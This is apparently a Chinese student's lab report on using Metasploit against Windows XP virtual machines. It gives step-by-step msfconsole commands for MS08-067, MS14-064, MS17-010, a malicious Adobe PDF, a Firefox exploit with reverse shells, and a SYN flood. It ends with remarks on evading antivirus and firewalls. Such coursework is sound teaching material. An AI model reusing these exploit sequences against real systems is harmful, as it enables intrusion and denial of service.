20171121王朋伟《MSF基础应用》实验报告

一、实验名称

  MSF基础应用

 

二、实验目的

  掌握Metasploit的基本应用方式,重点常用的三种攻击方式的思路。

 

三、实验内容

  1.一个主动攻击实践,如ms08_067

  2. 一个针对浏览器的攻击,如ms11_050

  3.一个针对客户端的攻击,如Adobe

  4.成功应用任何一个辅助模块

 

四、基础知识和实验准备

  1.Metasploit:是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具,同时拥有6个主要模块,渗透攻击模块(Exploit Modules)、辅助模块(Auxiliary Modules)、攻击载荷(Payload Modules)、空字段模块(Nop Modules)、编码模块(Encoders)、后渗透攻击模块(Post),v5版本还拥有免杀模块(veil)。

  2.ms08-067:MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本。如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程执行代码。在Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。此漏洞可能用于进行蠕虫攻击。

  3.ms17-010: EternalBlue(在微软的MS17-010中被修复)是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。“永恒之蓝”的原理主要是扫描所有开放445文件共享端口的Windows机器。SMB全称是Server Message Block(服务器信息块),用于在计算机间共享文件、打印机、串口等。

 

五、实验过程记录

  ·中文版Windows XP IP:192.168.217.131

  ·英文版Windows XP IP:192.168.217.132

  ·kali机        IP:192.168.217.128

  5.1主动攻击实践,利用漏洞ms08_067

  使用root用户进入msf控制台,输入“nmap –script=vuln 192.168.217.131(中文版Windows XP的IP)”,检查靶机是否存在常见漏洞。

 

  发现确实存在常见漏洞如ms08-067和ms17-010。

  输入“search ms08_067”查询利用ms08-067漏洞的攻击模块。

 

  输入“show payloads”查看本攻击方式下可以使用的payload,选择“generic/shell_reverse_tcp”。

 

  输入“show options”,查看应用此模块需要设置的参数。依次输入:

  set RHOSTS 192.168.217.131

  set LHOST 192.168.217.128

  set LPORT 1121

  输入“exploit”后,按正常情况应该是可以显示回连的shell的,但是却提示“渗透完成,但是没有session被创建”,可能是因为很多商家在将中文版Windows系统做成镜像的时候修复了大量漏洞,于是我换用英文版的Windows XP。

  更换英文版系统后,仍然需要关闭防火墙,并用ping命令检验网络是否畅通。

  重复上述步骤后果然实现shell返回。

 

  在返回的shell中输入“ipconfig”,发现IP地址确实为英文版Windows XP的地址。

 

  使用“net user”命令查看靶机上的用户,输入“net user wpw1121 /add”新建用户wpw1121,再次输入“net user”检验靶机是否增加了新用户。

 

 

  5.2针对浏览器的攻击实践,利用漏洞ms14_064

  这里我本来按照实验指导,尝试使用了ms11-050漏洞,但是无法成功,于是改为使用ms14-064。

  输入“search ms14_064”查询利用ms14-064漏洞的攻击模块,输入“use 0”选择第一个攻击模块。

  设置payload为windows/meterpreter/reverse_tcp,依次输入:

  set LHOST 192.168.217.128

  set LPORT 1121

  show options

  此时在Exploit target中我们可以发现此攻击模块只针对Windows XP,这正合我意。

  设置好URIPATH和target。

 

  输入“exploit”后,kali终端上显示“Local IP:http://192.168.217.128:8080/WPW”,将此网址复制到靶机的IE中打开,返回kali时由“Sending stage(180291 bytes)to 192.168.217.132”可以得知,此处有一个180291字节的传输体被传输至英文版Windows XP系统。

  使用sessions指令,查看当前已建立的会话信息。

  输入“sessions -i 1”,进入第一个会话,回显meterpreter命令行,输入“sysinfo”,可以看到靶机的操作系统、系统语言等信息。

 

  5.3针对客户端的攻击实践,针对Adobe

  输入“search adobe”查询利用adobe的攻击模块。

  实验中我选择了效果为excellent的exploit/windows/fileformat/adobe_pdf_embedded_exe。

  输入“show options”查看应用此模块需要设置的参数,同时可以发现Windows XP SP3英文版也在Exploit target中。

  同理,设置payload为windows/meterpreter/reverse_tcp,依次输入:

  set LHOST 192.168.217.128

  set LPORT 1121

  exploit

  会在/root/.msf4/local目录下生成一个pdf文件evil.pdf。

  使用cp指令将evil.pdf复制到/home/wpw20171121目录下,并将其复制到靶机(Windows XP SP3英文版)上。

 

  进入监听模块,按上述做同样设置,启动监听。在靶机中双击evil.pdf,在kali终端上得到meterpreter命令行,攻击成功。

 

  5.4应用辅助模块,使用auxiliary/dos/tcp/synflood。

  先进入辅助模块的目录中看看有哪些感兴趣的模块,因为我对拒绝服务攻击比较感兴趣,所以进入dos目录。

  想到dos中最常见的就是洪泛攻击了,所以输入“search flood”查看是否有可用选项,正好发现synflood。

  输入“show options”指令后,发现只需要设置RHOSTS即可。

  靶机启动任务管理器监控CPU的使用率,同时开启Wireshark,设置过滤“ip.addr==192.168.217.128”。

  输入“exploit”,显示“SYN flooding 192.168.217.132”,正在对靶机进行SYN洪水攻击。

  受到SYN洪水攻击后,靶机CPU的利用率高达93%。

  同时Wireshark捕到极其大量的TCP数据包。

 

  5.5独一无二的攻击实践(以下(1)是独一的,(2)的漏洞不是独一,但使用的模块是独一的)

  (1)想到既然能针对IE进行攻击,那是否也能针对其他浏览器进行攻击呢?于是我便想到了火狐浏览器

  输入“search firefox”,查找与火狐浏览器有关的攻击模块,琳琅满目。

  选择“exploit/multi/browser/firefox_webidl_injection”,使用info指令查看此模块的具体信息,在Description中,发现此模块只针对Firefox 22-27版本,于是我在中文版Windows XP系统中安装了Firefox 22版本。

 

  设置payload为firefox/shell_reverse_tcp,输入“show options”查看应用此模块需要设置的参数。

 

  依次输入:

  set LHOST 192.168.217.128

  set LPORT 1121

  set URIPATH wpwloading

  exploit

  将生成的Local IP:http://192.168.217.128:8080/wpwloading复制到靶机(中文版Windows XP SP3)的Firefox v22中打开,kali终端上显示成功建立一个会话。

  输入“sessions”可以查看当前已建立的会话。

  此时已经获得靶机的shell了,但是我想将这个shell升级。使用exploit/firefox/local/exec_shellcode模块可以把上一个模块获取到的shell提升为meterpreter,拿到meterpreter后可以进行更进一步的渗透。

  依次输入:

  use exploit/firefox/local/exec_shellcode

  set session 1

  exploit

  由下图可以看出已经拿到meterpreter,输入“sysinfo”,验证结果确实与靶机信息一致,渗透成功。

  (2)由于实验一开始发现靶机存在常见漏洞ms08-067和ms17-010,此处使用ms17-010漏洞进行渗透攻击。

  输入“search ms17_010”,选择exploit/windows/smb/ms17_010_psexec模块。

  同理,依次输入:

  set payload windows/meterpreter/reverse_tcp

  set RHOSTS 192.168.217.132

  set LHOST 192.168.217.128

  set LPORT 1121

  exploit

  由“Sending stage(180291 bytes)to 192.168.217.132”可以得知,此处有一个180291字节的传输体被传输至英文版Windows XP系统。

  紧接着便拿到meterpreter,输入“sysinfo”,验证结果确实与靶机信息一致,渗透成功。

 

六、基础问题回答

  用自己的话解释什么是exploit,payload,encode。

  答:exploit :渗透攻击模块,攻击者或渗透测试者利用目标计算机的系统服务、浏览器或客户端中的安全漏洞对其进行攻击;

    payload :攻击载荷模块,即黑客或攻击者希望在被控主机执行的代码,通过这段代码,攻击者可以做添加用户,提权等操作;

    encode   :编码模块,改变恶意程序的特征码,对攻击载荷进行“免杀”处理,防止其被杀软发现并清除,同时,确保恶意程序在传输和执行过程中不会因为“坏字符”而崩溃或执行中断。

 

七、实验总结与体会

  1.实验体会

  通过本次实验,我更加熟悉了Metasploit的基本应用方式,通过综合运用其中的模块,可以实现对目标计算机的渗透,同时,相比较实验二而言,我知晓了Metasploit中更底层的结构,也对一些安全漏洞的原理和利用方法有了初步的了解。

  本次实验令我受益匪浅,期待下次的实验能让我对这门课程有更深的理解和感悟。

  2.离实战还缺些什么技术或步骤?

  在我看来,我们本次实验还是在比较理想的环境下进行的,首先,我安装的是Windows XP系统,而且是原装英文版,基本没有打过补丁,所以大部分针对XP系统的漏洞还是可以使用的,现如今,已经基本没有人使用XP系统了,所以本次实验我觉得更多的是让我们对使用Metasploit进行渗透攻击有一个感性的认识。

  其次,因为是利用自己电脑上的虚拟机作为靶机,所以信息搜集起来比较方便,比如查IP,查系统类型等,但是实战中这些信息可能需要费一番周折才能获取。

  最后,因为是虚拟机系统,所以一般不会存在杀软,而且为了实验方便,我还关闭了防火墙,实战中,我们不仅要面对日益强大的杀毒软件,还要想办法绕过防火墙或运用社会工程学攻击诱导目标关闭防火墙。

posted on 2020-05-02 23:13  20171121王朋伟  阅读(213)  评论(0编辑  收藏